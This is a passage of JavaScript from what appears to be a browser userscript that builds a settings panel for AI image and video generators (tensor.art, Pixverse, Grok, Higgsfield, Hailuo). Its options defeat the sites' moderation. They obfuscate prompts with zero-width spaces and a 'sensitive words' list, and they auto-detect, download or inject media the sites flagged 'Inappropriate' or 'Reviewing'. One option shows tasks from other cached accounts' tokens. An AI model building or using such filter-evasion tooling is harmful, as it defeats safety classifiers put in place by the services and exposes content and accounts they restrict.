        maxLogsInput.min = '50';
        maxLogsInput.max = '3000';
        maxLogsInput.step = '50';
        maxLogsInput.value = String(Math.max(50, Number(settings.pixverseMaxLogs) || 400));
        maxLogsInput.style.cssText = `width: 110px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
        maxLogsInput.onchange = () => {
          settings.pixverseMaxLogs = Math.max(50, Math.min(3000, Number(maxLogsInput.value) || 400));
          saveSettings();
        };
        maxLogsRow.appendChild(maxLogsLabel);
        maxLogsRow.appendChild(maxLogsInput);
        pixverseSection.content.appendChild(maxLogsRow);

        const wordsWrap = document.createElement('div');
        wordsWrap.style.cssText = `margin-top:10px; border:1px dashed ${colors.border}; border-radius:10px; padding:10px; display:grid; gap:8px;`;
        const wordsTitle = document.createElement('div');
        wordsTitle.style.cssText = 'font-size:12px; font-weight:700; color:' + colors.text + ';';
        wordsTitle.textContent = 'Sensitive Words';
        wordsWrap.appendChild(wordsTitle);

        const listWrap = document.createElement('div');
        listWrap.style.cssText = 'display:grid; gap:6px;';
        const currentWords = Array.isArray(settings.pixverseSensitiveWords) ? settings.pixverseSensitiveWords.slice() : [];

        const renderWords = () => {
          listWrap.innerHTML = '';
          if (!currentWords.length) {
            const empty = document.createElement('div');
            empty.style.cssText = 'font-size:11px; color:' + colors.textSecondary + ';';
            empty.textContent = 'No sensitive words configured.';
            listWrap.appendChild(empty);
            return;
          }
          currentWords.forEach((word, idx) => {
            const row = document.createElement('div');
            row.style.cssText = `display:flex; align-items:center; gap:8px; padding:6px 8px; border:1px solid ${colors.border}; border-radius:8px; background:${colors.bgSecondary};`;
            const txt = document.createElement('div');
            txt.style.cssText = 'flex:1; font-size:12px; color:' + colors.text + '; word-break:break-word;';
            txt.textContent = word;
            const removeBtn = document.createElement('button');
            removeBtn.className = 'bypass-btn bypass-btn-danger';
            removeBtn.style.cssText = 'width:auto; padding:4px 8px; font-size:10px;';
            removeBtn.innerHTML = '<i class="fas fa-minus"></i>';
            removeBtn.onclick = () => {
              currentWords.splice(idx, 1);
              settings.pixverseSensitiveWords = currentWords;
              saveSettings();
              renderWords();
            };
            row.appendChild(txt);
            row.appendChild(removeBtn);
            listWrap.appendChild(row);
          });
        };

        const addRow = document.createElement('div');
        addRow.style.cssText = 'display:flex; gap:8px; align-items:center;';
        const addInput = document.createElement('input');
        addInput.type = 'text';
        addInput.placeholder = 'Add new sensitive word';
        addInput.style.cssText = `flex:1; padding:8px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
        const addBtn = document.createElement('button');
        addBtn.className = 'bypass-btn bypass-btn-primary';
        addBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
        addBtn.innerHTML = '<i class="fas fa-plus"></i>';
        const doAddWord = () => {
          const value = String(addInput.value || '').trim();
          if (!value) return;
          if (!currentWords.includes(value)) {
            currentWords.push(value);
            settings.pixverseSensitiveWords = currentWords;
            saveSettings();
            renderWords();
          }
          addInput.value = '';
        };
        addBtn.onclick = doAddWord;
        addInput.addEventListener('keydown', (e) => {
          if (e.key === 'Enter') doAddWord();
        });
        addRow.appendChild(addInput);
        addRow.appendChild(addBtn);

        const rawEditorRow = document.createElement('div');
        rawEditorRow.style.cssText = 'display:flex; justify-content:flex-end; margin-top:4px;';
        const rawEditorBtn = document.createElement('button');
        rawEditorBtn.className = 'bypass-btn bypass-btn-secondary';
        rawEditorBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
        rawEditorBtn.innerHTML = '<i class="fas fa-code"></i> Edit Raw Array';
        rawEditorBtn.onclick = () => {
          showCodeEditorDialog({
            title: 'Pixverse sensitive words array',
            description: 'Edit the raw JSON array used by Pixverse prompt obfuscation. Save with Ctrl/Cmd+S or the Save button.',
            initialValue: JSON.stringify(currentWords, null, 2),
            confirmLabel: 'Save Array',
            downloadFilename: 'pixverse_sensitive_words.json',
            validate: (text) => {
              let parsed;
              try {
                parsed = JSON.parse(text);
              } catch (err) {
                throw new Error(`Invalid JSON: ${err?.message || err}`);
              }
              if (!Array.isArray(parsed)) throw new Error('Value must be a JSON array.');
              return parsed.map(v => String(v || '').trim()).filter(Boolean);
            }
          }, (nextWords) => {
            currentWords.splice(0, currentWords.length, ...nextWords);
            settings.pixverseSensitiveWords = currentWords.slice();
            saveSettings();
            renderWords();
            showToast('Updated Pixverse sensitive words array', 'success');
          });
        };
        rawEditorRow.appendChild(rawEditorBtn);

        wordsWrap.appendChild(addRow);
        wordsWrap.appendChild(rawEditorRow);
        wordsWrap.appendChild(listWrap);
        pixverseSection.content.appendChild(wordsWrap);
        renderWords();

        const actionsRow = document.createElement('div');
        actionsRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:10px;';
        const clearLogsBtn = document.createElement('button');
        clearLogsBtn.className = 'bypass-btn bypass-btn-secondary';
        clearLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        clearLogsBtn.innerHTML = '<i class="fas fa-broom"></i> Clear Pixverse Logs';
        clearLogsBtn.onclick = () => {
          clearPixverseUiLogs();
          showToast('Pixverse logs cleared', 'success');
        };
        const clearMediaBtn = document.createElement('button');
        clearMediaBtn.className = 'bypass-btn bypass-btn-danger';
        clearMediaBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        clearMediaBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Media Cache';
        clearMediaBtn.onclick = async () => {
          const ok = await showConfirmDialog({
            title: 'Clear Pixverse media cache?',
            message: 'This will remove all cached Pixverse image/video links from the Items tab.',
            confirmText: 'Clear cache',
            cancelText: 'Cancel',
            isDanger: true
          });
          if (!ok) return;
          savePixverseMediaCache({ version: 1, updatedAt: new Date().toISOString(), items: [] });
          showToast('Pixverse media cache cleared', 'success');
        };
        actionsRow.appendChild(clearLogsBtn);
        actionsRow.appendChild(clearMediaBtn);
        pixverseSection.content.appendChild(actionsRow);

        form.appendChild(pixverseSection.section);
      } else if (IS_GROK_DOMAIN) {
        const infoNote = document.createElement('div');
        infoNote.style.cssText = `
          background: rgba(14, 165, 233, 0.12);
          border: 1px solid rgba(56, 189, 248, 0.35);
          border-radius: 10px;
          padding: 12px;
          font-size: 12px;
          line-height: 1.5;
          color: #dbeafe;
        `;
        infoNote.innerHTML = '<strong style="color:#38bdf8; display:block; margin-bottom:6px;"><i class="fas fa-satellite-dish"></i> Grok Capture Settings</strong>Capture generated media links from Grok/X traffic into Items and inspect runtime logs in Grok Background.';
        form.appendChild(infoNote);

        const grokSection = createCollapsibleSection('Grok Controls', 'fa-shield-halved', true);

        const makeToggleRow = (id, labelText, tooltipText) => {
          const { row, input } = createSettingsToggleRow({
            labelText,
            tooltip: tooltipText,
            checked: !!settings[id],
            fontSize: '13px',
            textColor: colors.text
          });
          input.onchange = () => {
            settings[id] = input.checked;
            saveSettings();
          };
          return row;
        };

        grokSection.content.appendChild(makeToggleRow('grokInterceptorEnabled', 'Enable Grok network capture', 'Capture Grok/X API responses and extract media links for Items cache.'));
        grokSection.content.appendChild(makeToggleRow('grokCaptureMediaLinks', 'Capture media links', 'Save discovered image/video URLs into the Grok Items list.'));
        grokSection.content.appendChild(makeToggleRow('grokEnableUiLogs', 'Enable runtime logs', 'Show Grok network/runtime logs in Grok Background tab.'));

        const maxLogsRow = document.createElement('div');
        maxLogsRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
        const maxLogsLabel = document.createElement('div');
        maxLogsLabel.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
        maxLogsLabel.textContent = 'Max Grok log entries';
        const maxLogsInput = document.createElement('input');
        maxLogsInput.type = 'number';
        maxLogsInput.min = '50';
        maxLogsInput.max = '3000';
        maxLogsInput.step = '50';
        maxLogsInput.value = String(Math.max(50, Number(settings.grokMaxLogs) || 500));
        maxLogsInput.style.cssText = `width: 110px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
        maxLogsInput.onchange = () => {
          settings.grokMaxLogs = Math.max(50, Math.min(3000, Number(maxLogsInput.value) || 500));
          saveSettings();
        };
        maxLogsRow.appendChild(maxLogsLabel);
        maxLogsRow.appendChild(maxLogsInput);
        grokSection.content.appendChild(maxLogsRow);

        const actionsRow = document.createElement('div');
        actionsRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:10px;';
        const clearLogsBtn = document.createElement('button');
        clearLogsBtn.className = 'bypass-btn bypass-btn-secondary';
        clearLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        clearLogsBtn.innerHTML = '<i class="fas fa-broom"></i> Clear Grok Logs';
        clearLogsBtn.onclick = () => {
          clearGrokUiLogs();
          showToast('Grok logs cleared', 'success');
        };
        const exportLogsBtn = document.createElement('button');
        exportLogsBtn.className = 'bypass-btn bypass-btn-primary';
        exportLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        exportLogsBtn.innerHTML = '<i class="fas fa-file-export"></i> Export Logs JSON';
        exportLogsBtn.onclick = () => {
          try {
            exportGrokLogsToJson();
          } catch {
            showToast('Failed to export Grok logs', 'error');
          }
        };
        const clearMediaBtn = document.createElement('button');
        clearMediaBtn.className = 'bypass-btn bypass-btn-danger';
        clearMediaBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        clearMediaBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Media Cache';
        clearMediaBtn.onclick = async () => {
          const ok = await showConfirmDialog({
            title: 'Clear Grok media cache?',
            message: 'This will remove all cached Grok image/video links from the Items tab.',
            confirmText: 'Clear cache',
            cancelText: 'Cancel',
            isDanger: true
          });
          if (!ok) return;
          saveGrokMediaCache({});
          showToast('Grok media cache cleared', 'success');
          updateUI();
        };
        actionsRow.appendChild(clearLogsBtn);
        actionsRow.appendChild(exportLogsBtn);
        actionsRow.appendChild(clearMediaBtn);
        grokSection.content.appendChild(actionsRow);

        form.appendChild(grokSection.section);
      } else if (IS_HIGGSFIELD_DOMAIN) {
        const infoNote = document.createElement('div');
        infoNote.style.cssText = `
          background: rgba(96, 165, 250, 0.10);
          border: 1px solid rgba(96, 165, 250, 0.28);
          border-radius: 10px;
          padding: 12px;
          font-size: 12px;
          line-height: 1.5;
          color: #dbeafe;
        `;
        infoNote.innerHTML = '<strong style="color:#60a5fa; display:block; margin-bottom:6px;"><i class="fas fa-flask-vial"></i> Higgsfield Capture Settings</strong>Capture jobs and souls into the unified floating panel, optionally obfuscate outgoing prompts, review runtime activity in Higgsfield Background, and manage local IndexedDB data from here.';
        form.appendChild(infoNote);

        const higgsfieldSection = createCollapsibleSection('Higgsfield Controls', 'fa-clapperboard', true);

        const makeToggleRow = (id, labelText, tooltipText) => {
          const { row, input } = createSettingsToggleRow({
            labelText,
            tooltip: tooltipText,
            checked: !!settings[id],
            fontSize: '13px',
            textColor: colors.text
          });
          input.onchange = () => {
            settings[id] = input.checked;
            saveSettings();
          };
          return row;
        };

        higgsfieldSection.content.appendChild(makeToggleRow('higgsfieldEnablePromptObfuscation', 'Obfuscate outgoing job prompts', 'Insert zero-width spaces into outgoing Higgsfield job prompts the same way the standalone script does for POST /jobs/ requests.'));
        higgsfieldSection.content.appendChild(makeToggleRow('higgsfieldCaptureJobs', 'Capture jobs/projects', 'Store observed project/job responses in IndexedDB and show them in the Items tab.'));
        higgsfieldSection.content.appendChild(makeToggleRow('higgsfieldCaptureSouls', 'Capture souls/custom references', 'Store observed custom-reference responses in IndexedDB and show them in the Items tab.'));
        higgsfieldSection.content.appendChild(makeToggleRow('higgsfieldAutoRefreshItems', 'Auto-refresh Items/Logs tabs', 'Refresh the floating window automatically when new jobs, souls, or logs are captured.'));
        higgsfieldSection.content.appendChild(makeToggleRow('higgsfieldEnableUiLogs', 'Enable runtime logs', 'Show runtime logs in Higgsfield Background tab.'));

        const maxLogsRow = document.createElement('div');
        maxLogsRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
        const maxLogsLabel = document.createElement('div');
        maxLogsLabel.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
        maxLogsLabel.textContent = 'Max Higgsfield log entries';
        const maxLogsInput = document.createElement('input');
        maxLogsInput.type = 'number';
        maxLogsInput.min = '50';
        maxLogsInput.max = '3000';
        maxLogsInput.step = '50';
        maxLogsInput.value = String(Math.max(50, Number(settings.higgsfieldMaxLogs) || 500));
        maxLogsInput.style.cssText = `width: 110px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
        maxLogsInput.onchange = () => {
          settings.higgsfieldMaxLogs = Math.max(50, Math.min(3000, Number(maxLogsInput.value) || 500));
          saveSettings();
        };
        maxLogsRow.appendChild(maxLogsLabel);
        maxLogsRow.appendChild(maxLogsInput);
        higgsfieldSection.content.appendChild(maxLogsRow);

        const actionsRow = document.createElement('div');
        actionsRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:10px;';
        const clearLogsBtn = document.createElement('button');
        clearLogsBtn.className = 'bypass-btn bypass-btn-secondary';
        clearLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        clearLogsBtn.innerHTML = '<i class="fas fa-broom"></i> Clear Logs';
        clearLogsBtn.onclick = () => {
          clearHiggsfieldUiLogs();
          showToast('Higgsfield logs cleared', 'success');
        };
        const exportLogsBtn = document.createElement('button');
        exportLogsBtn.className = 'bypass-btn bypass-btn-primary';
        exportLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        exportLogsBtn.innerHTML = '<i class="fas fa-file-export"></i> Export Logs JSON';
        exportLogsBtn.onclick = () => exportHiggsfieldLogsToJson();
        const exportJobsBtn = document.createElement('button');
        exportJobsBtn.className = 'bypass-btn bypass-btn-primary';
        exportJobsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        exportJobsBtn.innerHTML = '<i class="fas fa-clapperboard"></i> Export Jobs';
        exportJobsBtn.onclick = () => exportHiggsfieldJobsToJson().catch(() => showToast('Failed to export Higgsfield jobs', 'error'));
        const importJobsBtn = document.createElement('button');
        importJobsBtn.className = 'bypass-btn bypass-btn-primary';
        importJobsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        importJobsBtn.innerHTML = '<i class="fas fa-file-import"></i> Import Jobs';
        importJobsBtn.onclick = () => importHiggsfieldItemsFromFile('jobs');
        const exportSoulsBtn = document.createElement('button');
        exportSoulsBtn.className = 'bypass-btn bypass-btn-primary';
        exportSoulsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        exportSoulsBtn.innerHTML = '<i class="fas fa-face-smile"></i> Export Souls';
        exportSoulsBtn.onclick = () => exportHiggsfieldSoulsToJson().catch(() => showToast('Failed to export Higgsfield souls', 'error'));
        const importSoulsBtn = document.createElement('button');
        importSoulsBtn.className = 'bypass-btn bypass-btn-primary';
        importSoulsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        importSoulsBtn.innerHTML = '<i class="fas fa-file-import"></i> Import Souls';
        importSoulsBtn.onclick = () => importHiggsfieldItemsFromFile('souls');
        const clearJobsBtn = document.createElement('button');
        clearJobsBtn.className = 'bypass-btn bypass-btn-danger';
        clearJobsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        clearJobsBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Jobs';
        clearJobsBtn.onclick = () => {
          showConfirmDialog('Clear Higgsfield jobs from IndexedDB?', async () => {
            await higgsfieldJobs.clear();
            showToast('Higgsfield jobs cleared', 'success');
            updateUI();
          });
        };
        const clearSoulsBtn = document.createElement('button');
        clearSoulsBtn.className = 'bypass-btn bypass-btn-danger';
        clearSoulsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        clearSoulsBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Souls';
        clearSoulsBtn.onclick = () => {
          showConfirmDialog('Clear Higgsfield souls from IndexedDB?', async () => {
            await higgsfieldSouls.clear();
            showToast('Higgsfield souls cleared', 'success');
            updateUI();
          });
        };
        actionsRow.appendChild(clearLogsBtn);
        actionsRow.appendChild(exportLogsBtn);
        actionsRow.appendChild(exportJobsBtn);
        actionsRow.appendChild(importJobsBtn);
        actionsRow.appendChild(exportSoulsBtn);
        actionsRow.appendChild(importSoulsBtn);
        actionsRow.appendChild(clearJobsBtn);
        actionsRow.appendChild(clearSoulsBtn);
        higgsfieldSection.content.appendChild(actionsRow);

        form.appendChild(higgsfieldSection.section);
      } else if (IS_HAILUO_DOMAIN) {
        const infoNote = document.createElement('div');
        infoNote.style.cssText = `
          background: rgba(34, 197, 94, 0.10);
          border: 1px solid rgba(34, 197, 94, 0.28);
          border-radius: 10px;
          padding: 12px;
          font-size: 12px;
          line-height: 1.5;
          color: #dcfce7;
        `;
        infoNote.innerHTML = '<strong style="color:#22c55e; display:block; margin-bottom:6px;"><i class="fas fa-link"></i> Hailuo Capture Settings</strong>Capture media URLs that appear in-page and review them under Items. Background logs show capture activity.';
        form.appendChild(infoNote);

        const hailuoSection = createCollapsibleSection('Hailuo Controls', 'fa-bolt', true);

        const makeToggleRow = (id, labelText, tooltipText) => {
          const { row, input } = createSettingsToggleRow({
            labelText,
            tooltip: tooltipText,
            checked: !!settings[id],
            fontSize: '13px',
            textColor: colors.text
          });
          input.onchange = () => {
            settings[id] = input.checked;
            saveSettings();
          };
          return row;
        };

        hailuoSection.content.appendChild(makeToggleRow('hailuoCaptureMediaLinks', 'Capture media links', 'Store discovered Hailuo image/video URLs in the Items tab cache.'));
        hailuoSection.content.appendChild(makeToggleRow('hailuoAutoRefreshItems', 'Auto-refresh Items/Logs tabs', 'Refresh floating panel automatically when new Hailuo URLs/logs are captured.'));
        hailuoSection.content.appendChild(makeToggleRow('hailuoEnableUiLogs', 'Enable runtime logs', 'Show capture/runtime logs in Hailuo Background tab.'));

        const maxLogsRow = document.createElement('div');
        maxLogsRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
        const maxLogsLabel = document.createElement('div');
        maxLogsLabel.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
        maxLogsLabel.textContent = 'Max Hailuo log entries';
        const maxLogsInput = document.createElement('input');
        maxLogsInput.type = 'number';
        maxLogsInput.min = '50';
        maxLogsInput.max = '3000';
        maxLogsInput.step = '50';
        maxLogsInput.value = String(Math.max(50, Number(settings.hailuoMaxLogs) || 500));
        maxLogsInput.style.cssText = `width: 110px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
        maxLogsInput.onchange = () => {
          settings.hailuoMaxLogs = Math.max(50, Math.min(3000, Number(maxLogsInput.value) || 500));
          saveSettings();
        };
        maxLogsRow.appendChild(maxLogsLabel);
        maxLogsRow.appendChild(maxLogsInput);
        hailuoSection.content.appendChild(maxLogsRow);

        const actionsRow = document.createElement('div');
        actionsRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:10px;';
        const clearLogsBtn = document.createElement('button');
        clearLogsBtn.className = 'bypass-btn bypass-btn-secondary';
        clearLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        clearLogsBtn.innerHTML = '<i class="fas fa-broom"></i> Clear Hailuo Logs';
        clearLogsBtn.onclick = () => {
          clearHailuoUiLogs();
          showToast('Hailuo logs cleared', 'success');
        };
        const exportLogsBtn = document.createElement('button');
        exportLogsBtn.className = 'bypass-btn bypass-btn-primary';
        exportLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        exportLogsBtn.innerHTML = '<i class="fas fa-file-export"></i> Export Logs JSON';
        exportLogsBtn.onclick = () => {
          try {
            exportHailuoLogsToJson();
          } catch {
            showToast('Failed to export Hailuo logs', 'error');
          }
        };
        const exportItemsBtn = document.createElement('button');
        exportItemsBtn.className = 'bypass-btn bypass-btn-primary';
        exportItemsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        exportItemsBtn.innerHTML = '<i class="fas fa-database"></i> Export Items JSON';
        exportItemsBtn.onclick = () => {
          try {
            exportHailuoMediaCacheToJson();
          } catch {
            showToast('Failed to export Hailuo items', 'error');
          }
        };
        const clearMediaBtn = document.createElement('button');
        clearMediaBtn.className = 'bypass-btn bypass-btn-danger';
        clearMediaBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
        clearMediaBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Media Cache';
        clearMediaBtn.onclick = async () => {
          const ok = await showConfirmDialog({
            title: 'Clear Hailuo media cache?',
            message: 'This will remove all cached Hailuo image/video links from the Items tab.',
            confirmText: 'Clear cache',
            cancelText: 'Cancel',
            isDanger: true
          });
          if (!ok) return;
          saveHailuoMediaCache({});
          showToast('Hailuo media cache cleared', 'success');
          updateUI();
        };
        actionsRow.appendChild(clearLogsBtn);
        actionsRow.appendChild(exportLogsBtn);
        actionsRow.appendChild(exportItemsBtn);
        actionsRow.appendChild(clearMediaBtn);
        hailuoSection.content.appendChild(actionsRow);

        form.appendChild(hailuoSection.section);
      } else {

      const infoNote = document.createElement('div');
      infoNote.style.cssText = `
        background: rgba(99, 102, 241, 0.1);
        border: 1px solid rgba(99, 102, 241, 0.3);
        border-radius: 8px;
        padding: 12px;
        font-size: 12px;
        line-height: 1.5;
      `;
      infoNote.innerHTML = '<strong style="color: #6366f1; display: block; margin-bottom: 6px;"><i class="fas fa-sliders"></i> Advanced Settings</strong>For network headers, Telegram integration, user tokens, and more detailed settings, visit <strong>tensor.art/settings</strong>.';
      form.appendChild(infoNote);

      // Settings Profiles & Export/Import Section
      const profileSection = createCollapsibleSection('Settings Management', 'fa-folder', true);

      // Export/Import buttons
      const exportImportRow = document.createElement('div');
      exportImportRow.style.cssText = 'display: flex; gap: 8px; margin-bottom: 12px;';

      const exportBtn = document.createElement('button');
      exportBtn.className = 'bypass-btn bypass-btn-primary';
      exportBtn.style.cssText = 'flex: 1; padding: 10px; font-size: 12px;';
      exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export Settings';
      exportBtn.onclick = () => exportSettings();

      const importBtn = document.createElement('button');
      importBtn.className = 'bypass-btn bypass-btn-secondary';
      importBtn.style.cssText = 'flex: 1; padding: 10px; font-size: 12px;';
      importBtn.innerHTML = '<i class="fas fa-file-import"></i> Import Settings';
      importBtn.onclick = () => importSettings();

      exportImportRow.appendChild(exportBtn);
      exportImportRow.appendChild(importBtn);
      profileSection.content.appendChild(exportImportRow);

      // Settings Profiles
      const profilesDiv = document.createElement('div');
      profilesDiv.style.cssText = 'margin-top: 12px;';

      const profilesHeader = document.createElement('div');
      profilesHeader.style.cssText = 'font-weight: 600; font-size: 12px; margin-bottom: 8px; color: #cbd5e1;';
      profilesHeader.innerHTML = '<i class="fas fa-layer-group"></i> Settings Profiles';
      profilesDiv.appendChild(profilesHeader);

      const profilesList = document.createElement('div');
      profilesList.id = 'settings-profiles-list';
      profilesList.style.cssText = 'display: flex; flex-direction: column; gap: 6px; margin-bottom: 8px;';

      const savedProfiles = JSON.parse(localStorage.getItem('freeBypassSettingsProfiles') || '{}');
      const currentProfileName = localStorage.getItem('freeBypassCurrentProfile') || 'Default';

      Object.keys(savedProfiles).forEach(profileName => {
        const profileRow = document.createElement('div');
        profileRow.style.cssText = `display: flex; gap: 6px; align-items: center; padding: 6px; background: ${profileName === currentProfileName ? 'rgba(99, 102, 241, 0.2)' : colors.bgSecondary}; border-radius: 6px; border: 1px solid ${profileName === currentProfileName ? '#6366f1' : colors.border};`;

        const profileNameEl = document.createElement('div');
        profileNameEl.style.cssText = 'flex: 1; font-size: 12px; color: ' + colors.text + '; font-weight: ' + (profileName === currentProfileName ? '600' : '400');
        profileNameEl.textContent = profileName + (profileName === currentProfileName ? ' (Active)' : '');

        const loadBtn = document.createElement('button');
        loadBtn.className = 'bypass-btn bypass-btn-secondary';
        loadBtn.style.cssText = 'padding: 4px 8px; font-size: 10px;';
        loadBtn.textContent = 'Load';
        loadBtn.disabled = profileName === currentProfileName;
        loadBtn.onclick = () => loadSettingsProfile(profileName);

        const deleteBtn = document.createElement('button');
        deleteBtn.className = 'bypass-btn bypass-btn-danger';
        deleteBtn.style.cssText = 'padding: 4px 8px; font-size: 10px;';
        deleteBtn.innerHTML = '<i class="fas fa-trash"></i>';
        deleteBtn.onclick = () => deleteSettingsProfile(profileName);

        profileRow.appendChild(profileNameEl);
        profileRow.appendChild(loadBtn);
        profileRow.appendChild(deleteBtn);
        profilesList.appendChild(profileRow);
      });

      profilesDiv.appendChild(profilesList);

      const saveProfileBtn = document.createElement('button');
      saveProfileBtn.className = 'bypass-btn bypass-btn-primary';
      saveProfileBtn.style.cssText = 'width: 100%; padding: 8px; font-size: 11px;';
      saveProfileBtn.innerHTML = '<i class="fas fa-save"></i> Save Current as New Profile';
      saveProfileBtn.onclick = () => saveSettingsProfile();
      profilesDiv.appendChild(saveProfileBtn);

      profileSection.content.appendChild(profilesDiv);
      form.appendChild(profileSection.section);

      const settingsCheckboxes = [
        { id: 'preview', label: 'Preview Media', value: settings.preview, icon: 'fa-eye', tooltip: 'Load and display thumbnail previews of blocked items (videos are deferred)' },
        { id: 'autoDownload', label: 'Auto-download on Detect', value: settings.autoDownload, icon: 'fa-download', tooltip: 'Automatically download images when they are detected as blocked' },
        { id: 'autoShowPanel', label: 'Auto-show Panel on Detect', value: settings.autoShowPanel, icon: 'fa-expand', tooltip: 'Show the floating panel when new blocked items are detected' },
        { id: 'autoTaskDetection', label: 'Auto-detect Blocked Tasks', value: settings.autoTaskDetection, icon: 'fa-magic', tooltip: 'Automatically adds blocked items when generation completes (no refresh needed)' },
        { id: 'forceTasksAcrossAccounts', label: 'Force Tasks Across Accounts', value: settings.forceTasksAcrossAccounts, icon: 'fa-users', tooltip: 'Show tasks from all cached accounts regardless of current user token (disabled by default)' }
      ];

      const coreSection = createCollapsibleSection('Core Features', 'fa-layer-group', true);
      coreSection.content.style.display = 'grid';
      coreSection.content.style.gap = '10px';

      settingsCheckboxes.forEach(checkbox => {
        const { row: container, input } = createSettingsToggleRow({
          labelText: checkbox.label,
          icon: checkbox.icon,
          tooltip: checkbox.tooltip,
          checked: checkbox.value,
          fontSize: '14px',
          textColor: colors.text
        });
        input.onchange = () => {
          settings[checkbox.id] = input.checked;
          if (checkbox.id === 'injectOnDom' && input.checked) {
            settings.safeViewMode = false;
          }
          if (checkbox.id === 'safeViewMode' && input.checked) {
            settings.injectOnDom = false;
          }
          localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
          if (checkbox.id === 'preview' && input.checked) {
            fetchPreviews();
          }
          if (checkbox.id === 'autoTaskDetection') {
            if (settings.autoTaskDetection) {
              startTaskMonitoring();
            } else {
              stopTaskMonitoring();
            }
          }
          if (checkbox.id === 'injectOnDom') {
            if (settings.injectOnDom) {
              startDomInjectionWatcher();
            } else {
              stopDomInjectionWatcher();
            }
          }
          if (checkbox.id === 'safeViewMode') {
            if (settings.safeViewMode) {
              startDomInjectionWatcher();
            } else if (!settings.injectOnDom) {
              stopDomInjectionWatcher();
            }
            updateUI();
          }
          if (checkbox.id === 'injectOnDom') {
            updateUI();
          }
        };
        coreSection.content.appendChild(container);
      });

      form.appendChild(coreSection.section);

      const injectionSection = createCollapsibleSection('Injection Method', 'fa-code', true);
      const injectionOptions = [
        { id: 'safeViewMode', label: 'Safe View Blocked Media', value: settings.safeViewMode, icon: 'fa-eye-slash', tooltip: 'Keep blocked covers and add a Bypass View button to reveal on demand (mutually exclusive with Inject On DOM)' },
        { id: 'injectOnDom', label: 'Inject On DOM', value: settings.injectOnDom, icon: 'fa-code', tooltip: 'Replace blocked media directly with bypassed content (mutually exclusive with Safe View)' },
        { id: 'injectBlockedOnly', label: 'Inject On Blocked Only', value: settings.injectBlockedOnly, icon: 'fa-filter', tooltip: 'When enabled, only tasks/cards with Inappropriate/Reviewing cover are injected. When disabled, Inject On DOM keeps current all-task behavior.' }
      ];

      injectionOptions.forEach(option => {
        const { row: container, input } = createSettingsToggleRow({
          labelText: option.label,
          icon: option.icon,
          tooltip: option.tooltip,
          checked: option.value,
          fontSize: '14px',
          textColor: colors.text
        });
        input.onchange = () => {
          if (settings.xhrInterceptEnabled && input.checked && (option.id === 'injectOnDom' || option.id === 'safeViewMode')) {
            input.checked = false;
            showToast('Disable XHR Intercept first to use DOM/Safe View injection.', 'warning');
            return;
          }
          settings[option.id] = input.checked;
          if (option.id === 'injectOnDom' && input.checked) {
            settings.safeViewMode = false;
          }
          if (option.id === 'safeViewMode' && input.checked) {
            settings.injectOnDom = false;
          }
          saveSettings();
          if (option.id === 'injectOnDom') {
            if (settings.injectOnDom) {
              startDomInjectionWatcher();
            } else if (!settings.safeViewMode) {
              stopDomInjectionWatcher();
            }
          }
          if (option.id === 'safeViewMode') {
            if (settings.safeViewMode) {
              startDomInjectionWatcher();
            } else if (!settings.injectOnDom) {
              stopDomInjectionWatcher();
            }
          }
          if (option.id === 'injectBlockedOnly') {
            if (settings.injectOnDom || settings.safeViewMode) {
              startDomInjectionWatcher();
            }
          }
          injectBlockedMediaIntoDom();
          updateUI();
        };
        injectionSection.content.appendChild(container);
      });

      form.appendChild(injectionSection.section);

      const xhrSection = createCollapsibleSection('XHR Intercept (Powerful)', 'fa-bolt', true);
      const xhrNote = document.createElement('div');
      xhrNote.style.cssText = `
        background: rgba(245, 158, 11, 0.10);
        border: 1px solid rgba(245, 158, 11, 0.35);
        border-radius: 10px;
        padding: 10px;
        font-size: 12px;
        line-height: 1.5;
        color: ${colors.textSecondary};
